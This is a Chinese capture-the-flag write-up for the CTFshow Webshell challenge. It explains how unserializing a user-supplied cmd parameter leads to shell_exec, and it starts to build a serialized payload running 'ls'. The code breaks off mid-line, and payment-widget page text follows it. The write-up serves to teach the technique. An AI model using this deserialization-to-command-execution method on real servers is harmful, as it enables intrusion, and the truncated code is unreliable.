CTFSHOW 菜狗杯 Webshell 解题思路和方法

点击链接,发现php代码,看到其中使用了反序列化操作,那么该题考察的点很有可能是序列化反序列化:

分析代码,我们输入的参数名为 cmd,同时将传入的参数值首先进行反序列化操作,然后执行 init() 函数。在init中代码主要作用就是执行cmd的值。此时我们可以在构造反序列化语句中使用cmd命令。

将Webshell类拷贝出来,对其进行实例化,然后对类中的cmd变量进行赋值操作,然后运行:

<?php
class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    } 
$ws =new Webshell() ;
$ws->cmd = "ls" ;
echo seriali
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值